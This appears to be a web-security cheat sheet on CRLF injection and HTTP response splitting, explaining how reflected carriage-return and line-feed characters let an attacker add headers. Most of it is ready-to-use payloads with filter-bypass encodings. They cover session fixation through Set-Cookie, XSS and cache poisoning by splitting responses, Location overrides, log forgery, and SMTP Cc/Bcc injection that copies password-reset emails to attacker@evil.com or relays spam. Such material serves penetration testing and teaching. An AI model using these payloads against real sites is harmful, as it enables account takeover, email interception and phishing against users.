Web

CRLF Injection / HTTP Response Splitting

CRLF injection detection and exploitation: header injection, HTTP response splitting for XSS and cache poisoning, open redirect via Location injection, session fixation via Set-Cookie injection, and log injection. Every payload separated.

What is CRLF Injection

HTTP headers are separated by \r\n (carriage return + line feed). If user input containing \r\n is reflected into an HTTP response header without sanitisation, the attacker can inject additional headers — or split the response entirely, injecting a second HTTP response.


Detection

Step 1 — Inject CRLF sequences into URL parameters

In Burp Repeater, inject into any parameter that appears in a response header (redirect URL, Content-Type, Location, Set-Cookie, etc.):

https://TARGET/redirect?url=https://evil.com%0d%0aInjected-Header:+value

Check the response headers. If you see Injected-Header: value in the response → confirmed.

Encoding variants to bypass filters:

%0d%0a       ← URL encoded \r\n
%0D%0A       ← uppercase
%0a          ← just \n (some servers accept)
%0d          ← just \r
%E5%98%8A%E5%98%8D  ← UTF-8 multi-byte encoding of \r\n
\r\n         ← literal (if URL not decoded)
%250d%250a   ← double URL encoded

Step 2 — Confirm with a custom header

?url=https://evil.com%0d%0aX-Injected:+confirmed

If the response contains X-Injected: confirmed → injection works.

Step 3 — Find reflective parameters

Common vulnerable parameters:

url=  redirect=  next=  return=  location=  target=  lang=  ref=

Also check: URL path segments (/redirect/PAYLOAD/), form inputs reflected in headers.


Inject a Set-Cookie header to plant a session ID on the victim:

https://TARGET/login?redirect=https://TARGET%0d%0aSet-Cookie:+PHPSESSID=attacker_fixed_value

When the victim visits this URL, their browser receives the injected Set-Cookie header and adopts the attacker’s session ID.


Exploit 2: XSS via HTTP Response Splitting

Inject a second complete HTTP response to deliver XSS:

?url=https://evil.com%0d%0a%0d%0a<html><script>alert(document.cookie)</script></html>

The double \r\n\r\n terminates the first response headers and starts the response body. Some caches store and serve the injected body as a valid response.

More complete response splitting:

?url=x%0d%0aContent-Length:+35%0d%0a%0d%0a<script>alert(document.cookie)</script>

Exploit 3: Open Redirect via Location Header

?redirect=https://evil.com%0d%0aLocation:+https://attacker.com

The injected Location header overrides the intended redirect destination.


Exploit 4: Cache Poisoning via Response Splitting

If a caching proxy stores the first response, injecting a fake response causes the cache to store malicious content at a URL the attacker chooses:

GET /page?lang=en%0d%0aContent-Length:+0%0d%0a%0d%0aHTTP/1.1+200+OK%0d%0aContent-Type:+text/html%0d%0aContent-Length:+44%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1

Exploit 5: Log Injection

If user input is written to log files and the logs are later parsed or displayed in a web UI, inject newlines to forge log entries:

username=admin%0d%0a127.0.0.1 - - [01/Jan/2024] "GET /admin HTTP/1.1" 200 -

This creates a false entry in the access log showing the admin path was accessed successfully.


Header Injection Payloads (quick reference)

Inject any of these by appending after a %0d%0a:

Set-Cookie: session=attacker_value; HttpOnly
Location: https://attacker.com
X-Frame-Options: ALLOWALL
Content-Security-Policy: default-src *
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Burp Suite workflow

  1. Proxy — intercept responses to requests with URL/lang/redirect parameters; check response headers for reflected input.
  2. Repeater — inject %0d%0aX-Test:+confirmed into every parameter reflected in headers.
  3. Intruder — fuzz encoding variants (%0d%0a, %0D%0A, %0a, %250d%250a) to bypass input filters.
  4. Scanner — active scan detects CRLF injection in headers automatically.
  5. Match and Replace — add rule to append %0d%0aX-Test:+confirmed to all parameters; flag changed responses.

SMTP Header Injection (via CRLF in email fields)

When the application passes user-supplied email addresses or subjects into outgoing SMTP headers, %0d%0a injections add extra mail headers — intercepting password reset links, adding hidden recipients, or enabling spam relay.

Cc / Bcc injection to intercept emails

email=victim@example.com%0d%0aCc:+attacker@evil.com
email=victim@example.com%0d%0aBcc:+attacker@evil.com

The application’s email builder becomes:

To: victim@example.com
Cc: attacker@evil.com
Subject: Password Reset

The attacker receives a copy of the reset link.

Dummy header (absorb trailing application data)

email=victim@example.com%0d%0aCc:+attacker@evil.com%0d%0aDummyHeader:+absorb

Body injection (double CRLF → skip to body)

email=victim@example.com%0d%0aContent-Type:+text/html%0d%0a%0d%0a<a+href="https://attacker.com">Click+to+verify</a>

Spam relay

email=victim@example.com%0d%0aTo:+spam1@target.com,spam2@target.com%0d%0aFrom:+noreply@legit.com%0d%0aSubject:+Win+a+Prize%0d%0a%0d%0ahttp://phishing.com

For the full SMTP injection guide with encoding variants and Burp workflow, see the dedicated SMTP Header Injection page.